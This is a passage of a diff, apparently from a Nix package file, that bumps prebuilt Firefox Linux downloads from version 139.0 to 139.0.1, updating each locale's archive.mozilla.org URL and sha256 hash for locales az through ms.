+      sha256 = "346bc1e46ac8b87d642fb14aa58144cd967d6504226fd6503db98ac4d617cda7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/az/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/az/firefox-139.0.1.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "92f14c55e60de6fa954e35d1bcc30846e080d7be13f671a1288535728d9e4ef2";
+      sha256 = "921d0fd361669a97a64f5e871bd93b8afc650568a3936e4b1fdeba95b1e3bfd8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/be/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/be/firefox-139.0.1.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "09487b3bef2479d5e4bcde2b858e6ede04b366cb7be1df722d243c186b071493";
+      sha256 = "be98f68df512b714b0a2547415d397a71ae1b1e0b69c404899536714088b8850";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/bg/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/bg/firefox-139.0.1.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "9bd0c77be9e0310cefd89f9438fe895d455c6242c35963cfb592ff837221c13c";
+      sha256 = "f4dca70d4134c5ebd8020f6c7b2006fb1fe7ec18517593e6ee0f718803227db8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/bn/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/bn/firefox-139.0.1.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "231be122e74e5ad1263a879127334033b888487e0d2d2ac67b854e946a13ef26";
+      sha256 = "08f2a48ee6e4e4080f5a70fd397ef39305e87e7e03c8c19248a5bcef35234ae3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/br/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/br/firefox-139.0.1.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "d8788bb513967b9a47e381af6c63303cb7a642e9e47b2dff0d9e2f0f7f1c912c";
+      sha256 = "6527229a51049ed5f346cc272cbea875d83214a0e83d85416821c4f6ea587220";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/bs/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/bs/firefox-139.0.1.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "a631715732b16ef36dfdaca062a8e8a7e86a5f37d436a3fd4e3b7a39384756c7";
+      sha256 = "499ba368e57fce3fd31ac200af6ba5ae918ea5e3326704d8f3a446b5681da66e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ca-valencia/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ca-valencia/firefox-139.0.1.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "24816f5cec1597292a4e217a608150516c7c09e6af0523dea942d14edac6314e";
+      sha256 = "70c274813df3a9541b432fbdc87b453ebcf7d6b12ae27c86b24086ad8e0055a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ca/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ca/firefox-139.0.1.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "17fec4ed5e2a0b53a40bbafa672c4a7fa63c1cda524a2cff3c609fd914bdf327";
+      sha256 = "9e95e3c0474306acd060f86128eafb1dd5cc6ade3e9bb44da440902ba571c799";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/cak/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/cak/firefox-139.0.1.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "b346bfcf32722c72e9df85255d9d11b11dc25051aefd7a80a6984a83f4a11941";
+      sha256 = "405c00b08ff957ea775168fd4a5a0ae6bc9512854b8d24b786eaffb0e3d73ae7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/cs/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/cs/firefox-139.0.1.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "db5fb598821ec03b1112e4c5920167b48c174ae0f91f74cb06c55fbd2f92114c";
+      sha256 = "9628d9a50311e99a35411ab503fff696d62d2205f4a57718a9f2f5176fdbd93b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/cy/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/cy/firefox-139.0.1.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "3be873bf2d25dee2cb8e6f86f4af597be597a8e4fbc2d0982e657670f01f97f2";
+      sha256 = "9843d46864214dbf6a7e7ac91dc4df53c37ac01616c95c1f29e8df8169b60139";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/da/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/da/firefox-139.0.1.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "8bd0fbf81e1070b8f321e8cae3186d1a46ef4e8ed7c657fe5449c3e8edcaf2ea";
+      sha256 = "e0b2e1ae31f6ef3b63f2272ad5fababf03c1a632ac06554b0a2975f03b6aeadc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/de/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/de/firefox-139.0.1.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "07c1c7f2c26e104d0779072888a54ad27d3bd81b2a126d8307e01d4596f9e7e1";
+      sha256 = "6f28b439dc219daa41c6dea5bc6f1c397cb1da00617373d9f2e568396ee09f9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/dsb/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/dsb/firefox-139.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "3d9ad8f10efe2452ed1b091762f90b5ef3dd30a40a1beec4f2c8c841ba349378";
+      sha256 = "d10e5c883663f19159e2685734459d54203d2c3a5cdfd1f6f8d77b6945a010ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/el/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/el/firefox-139.0.1.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "fb1edae5e61d8fa5b64041edb050cc6d02a1638f5c387ea319b09353955e96c7";
+      sha256 = "3601d5016cff81a3108f7a5e03c25553bcbdf18b6ce86504d12f9da04f7c0257";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/en-CA/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/en-CA/firefox-139.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "4ee69c7fae9d5601a31a3396ead514b14a5284cf5ca60be67eca5e7ccc4a77b6";
+      sha256 = "19236a577a4902ea72a2025c5df851bde6aa5aea38900ce264e9673dc67f531e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/en-GB/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/en-GB/firefox-139.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "2ac5f940aed8efc0045f39ca95175e284e8cb984a7396b19f497a2aea2d1e448";
+      sha256 = "7191920a7b31f514534d0086113c18ccf3070c64780a6d6700fcfd049a4f833e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/en-US/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/en-US/firefox-139.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "1e3eab20cb84af1510b22e663438bd31ee1473652e10eb48661dcc6f1c0bbbe8";
+      sha256 = "f1a264f61d41700e8fcfa2310478d0c909655399a413072664fddaf612b53c07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/eo/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/eo/firefox-139.0.1.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "31ac94bce2736b13180cb4f88215e834d1c44da4eae010dcfb35aab8488bf191";
+      sha256 = "3773ae8f49fdb802ac3a4f5c9995a2e4a018a4959a45802e3d7fc382a7fb846b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/es-AR/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/es-AR/firefox-139.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "9c14237bcac40713d967f16c9bf2a6b679760c94c9968d2f63264968ea46a8d9";
+      sha256 = "c148a4c9d587710fe85c94acaa2cc1b0e0ac9979e07ccb3d65edf589ba814d3a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/es-CL/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/es-CL/firefox-139.0.1.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "fe770b675c84745c06500c16e3e2cfa91a796bfc9bcf5aa50a24f751fda5d3d7";
+      sha256 = "07a5533f64b7c6cccbe6c8585498bfe112b24d87cad5f83b88b5906dfa80baf8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/es-ES/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/es-ES/firefox-139.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "d5e127a0aff0501b75dfd9bda616fb9e9229e58d37c168f11fd466dd12fa10d0";
+      sha256 = "a1050e1b1d082b4532aa152ca60168110ef054d7269ba51d179572945945c355";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/es-MX/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/es-MX/firefox-139.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "1c8d5d4a1d656d33bb3763d64bea64459d98db07b5268749432612839a474e0e";
+      sha256 = "2a50480c184d44c1ef996823696095376916dcdd03038121897ff3d9a40434d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/et/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/et/firefox-139.0.1.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "53710d2c5defd4efe9b1dc6b4fad727df8530ec3534c8cfb3bccc7d41667662d";
+      sha256 = "d90aa3f7081f2239ce020c5ad14c5186e35362871a4b857ea6d40abb18d8195f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/eu/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/eu/firefox-139.0.1.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "63b0caa1dcbea5cb27406f656c3cae519ca83f5257ca6b7c4eaa9350cd53a377";
+      sha256 = "df530782bb84d1b7ced7b69b0e4b335adc40e391a767f69002b5d670ec5b23d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/fa/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/fa/firefox-139.0.1.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "b9f8e391c7f3d8cf6db4cf7b0d72950fd6c327361de7bc7c9997d0f5b9beeb2e";
+      sha256 = "cf55def36d7c7e02b3fcc204fa61c6de1cc89d5a25aebbdd3e87263f9cae38b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ff/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ff/firefox-139.0.1.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "ea38fe8a87c0656cc5b94c61dde0719eda2357eebc7c227ae3bb8d2ae2a81fa0";
+      sha256 = "b1bddfbccc91cf904f21a7ef347c053349296513514167b367cba1448f4c79d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/fi/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/fi/firefox-139.0.1.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "24e3836763d39eb5043b3186e774200c07a322ac7c61bc1a2605e411c7a17934";
+      sha256 = "ff106a72ef7908a85b970b270be8cdbb2be9b9f844f30a4feff385f33ac7d72a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/fr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/fr/firefox-139.0.1.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "227a88889ba71ab531422d4abc2707360bc04a2be94a35e05063602879ed2928";
+      sha256 = "9589769873aa494ed4df75aa6f7842c110655bbc12616d4f361db68fad6a31a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/fur/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/fur/firefox-139.0.1.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "ed353ac9a84ad974132f15e9aaf3e561ce29bcf9a9000bfcd6a66d3a841e9b61";
+      sha256 = "e99f42326c7d4b7b66dc5f04ecce923aa8a6a8fd79033540678cc4f3bb50613e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/fy-NL/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/fy-NL/firefox-139.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "d8b216e814271b23f84e31225059a0854f7f060cb8f64ba97838e8719c5d41ed";
+      sha256 = "cd2617791e4444f4752a6d49f19683e42a06f8238cac5ad33b92f296ff821689";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ga-IE/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ga-IE/firefox-139.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "5cd26f19d63a51fc3c9e633ba976888a33a7cd8edfaf3af65c7ae675b50d36c3";
+      sha256 = "acd0644887f6d3b2e3ba24f87f29a3211002799e430130e85c29086eadcf4805";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/gd/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/gd/firefox-139.0.1.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "f91f3301f81bcc2bb09a3c6172f42f060fcd5f22026a9ead5497155bb1f3aa52";
+      sha256 = "db082a8c3d652f9cd67cbd495f8ded411ceeebadc4f819753107557bf8c817ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/gl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/gl/firefox-139.0.1.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "7d75c84af9b6c269936c01387fc84676cb8d42bd9a4ef8f78fc3fcac7d9f4458";
+      sha256 = "ecd26fdf0f91f3647a0a0ddffd31b1343fefe70ca0681abccd051f1ff23cd763";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/gn/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/gn/firefox-139.0.1.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "2f5323f6a1dca8dc7f384d0e94d7cdd07856e7cae893adbec2e6588bf69dcc94";
+      sha256 = "77ddef80e76576e6e4617e887256cd58175f1ea7a3f03577ea0bc80c2dffa02d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/gu-IN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/gu-IN/firefox-139.0.1.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "a1b29a69e222ab789b7e46945d217aeed4c2654e978a5cc76590378f60618fff";
+      sha256 = "cad1a57b3daeb7f5a73e4b9f7772d0ea040a0af7364ceaa9133888e06c95d30d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/he/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/he/firefox-139.0.1.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "a1b2fd32771537a95aedba6cb67b424b8b75f0261fb935eb6e0a8479d28b2d87";
+      sha256 = "71710c4a4a9624da9aa61464320c6142e01f2a26d2a729df9dc32adb5f0ab5ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/hi-IN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/hi-IN/firefox-139.0.1.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "78935bbe5424339d7a720d1c8afee5842be8d35033468955d08942ba741c04b0";
+      sha256 = "e6150a19678737c0f4035b3bb9004cf5ca2e26778bb1f79bc2db01bbecff8b4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/hr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/hr/firefox-139.0.1.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "4f044ba8f8a5dd4e8ac399f4a341c40db06b43796631711d7cc11409bf7403c5";
+      sha256 = "32bbd13a90626f7e3bb60458add891bb7227552007b1e2bc09614b5060a2a130";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/hsb/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/hsb/firefox-139.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "99a52d22815c5a0e515c8e7cf2befbfad6751443ca555bd6406f5728f279bd81";
+      sha256 = "b8ae9765b8c76c141858761ee097601175e0039a671fd77e30c55879eaf7e83d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/hu/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/hu/firefox-139.0.1.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "2f5bc74482f9e36ad6b3464eae73c3f4e0eba74468b115b980ef7ec8f455f53c";
+      sha256 = "3bf39ae1423543d0cbf15ce9cbc831b78bf511d4273536d1a62f15b03eb4bbe3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/hy-AM/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/hy-AM/firefox-139.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "3008150f60e7fea872947bf44548dbed432e594713281008265e8beaa33e4bcf";
+      sha256 = "3050f529026eb2d712779890abe1a7f94e6502457a6d9eb7cdcb0c15be17b784";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ia/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ia/firefox-139.0.1.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "0bbbdfc47a8cc84117feb5f2b45918eed8234f0bdfd23355f4471fff186266ff";
+      sha256 = "cdea2b43c1cfa36b720105c5f403571de2c7b5b8c0667f2dba422380f2092fd6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/id/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/id/firefox-139.0.1.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "5bdeb876bbf9969a9d8b388ae4a4d5dbfbfe6b960fa2ad0e0c3533e09dd23c38";
+      sha256 = "6123ea5e0a86caf53f210af2e3bc5f53d1abb32c9aa5dae6f855572339e45e75";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/is/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/is/firefox-139.0.1.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "2f9943fc19e7199fb4e4bed94322b16473bdb7abde7c81c2f9f30ec6b4b2f37c";
+      sha256 = "14d36069a1ad136dd72cec1283d7d78edce6a02843a3441b99a513a547c158fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/it/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/it/firefox-139.0.1.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "d7d54deaa139ed6521787845c6087c6cc1eeccebaf3c1c35c5ecd93834d3b90c";
+      sha256 = "52091e49f5cb9c82cd5b0096eff6802c42464d95b605c18ae28db2c19d36e89a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ja/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ja/firefox-139.0.1.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "254361288515d5c6a1d673080690c00db95f9710d0146aa8949d0c45c8aa83b3";
+      sha256 = "f6c3d8a5837bae90ec81fe607193044e9de5742e862c10d369b1d5a47762e996";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ka/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ka/firefox-139.0.1.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "430d36f331c9010e83c9a8df99d05a26b2f85c4f820a658162b2cadc06397d57";
+      sha256 = "3565e61f3347861c8930f1c62f8d1796207f11cc9312367d8d025657096c8b2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/kab/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/kab/firefox-139.0.1.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "6a6105863267194aac3e37752eb2e6b8b90178280145a260fc6076cc565da9ac";
+      sha256 = "84f8ea8e91d7425a7ebed74c4589fdb90dbc6adb09bba598355662b3cf5ed405";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/kk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/kk/firefox-139.0.1.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "1f1c7bbbe0b7b6b5da607902e2da948a8ccdbcda7f7686163e6507fe4c388a9c";
+      sha256 = "1aba65cf2b8613c7f2c0938a4ce4ca5eb58f197855456b2ee1ab21a0f1261fb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/km/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/km/firefox-139.0.1.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "89792a9db5502a70868cd75f570f08f029f159a62c3581d592a0312cb86befd2";
+      sha256 = "7f26bad7ba58f2e6ce13a5c551c29e847bc174aef8066de914496247a4cf8fbd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/kn/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/kn/firefox-139.0.1.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "89faec53c260ff3e1fbb88b828a8b4c12bc1fa7a411a62ceef0d20b99c941679";
+      sha256 = "a7654f9f6f827f17ea9a9eec1126416bb8e2364808d956d6b15e4e66c1b4c2c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ko/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ko/firefox-139.0.1.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "d5f2c00cc56f7fd106d15b8cab4462164458359ad85eb0e2e049670b357238d2";
+      sha256 = "521ca6a04f2bcab3a48473400733e02c5dd08e19e8d0a27507b6e7d0981277bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/lij/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/lij/firefox-139.0.1.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "7f6f6c74a8db597de876b2ba185007b56bd95bf1102fe736f05108892186f611";
+      sha256 = "8a18d13ce49f43f4fa14d9b23f5831e62188e87f093a6e79737e8484c4652d2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/lt/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/lt/firefox-139.0.1.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "347fd3cb125c83a116cc27fb06078e2f189f56460bf215932c30adf3b99db278";
+      sha256 = "e065cb65be49bb3b3564f320ea9f46664e2d248acd358132d91a982327373f96";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/lv/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/lv/firefox-139.0.1.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "9142c42fc24e621524e689e2065bb56048320c7fb5488c5ba41283276f141df2";
+      sha256 = "9827102276a0c08b8f7f8285eb801f0b56f5c57f8971b37bd0b5bc5c128aa54d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/mk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/mk/firefox-139.0.1.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "d9e78f50252aa930d8f0cf4c8c716c44ff5b6bb2a8f57e7fcdb31c3a0e1b3115";
+      sha256 = "049ea07365404a812cdf695642bd331d932687d134b64275683c446edad9eb5c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/mr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/mr/firefox-139.0.1.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "10ab25e76f277fcb286f69aac82b66dd012cc2a5564f5c8fd799f87845241ddb";
+      sha256 = "5783b8a946f35e8210342430a6765fed5fa7cb05206d0463219be875ea71cfca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ms/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ms/firefox-139.0.1.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "b2cf5ce2f683556e9aaa976d8a95641758274df94db8a6aedc7002b6c88535c5";
+      sha256 = "05a7ba72380a7efd710f995022cf2ee59f84229967bf52db6a61669fc4d5df52";
     }
     {
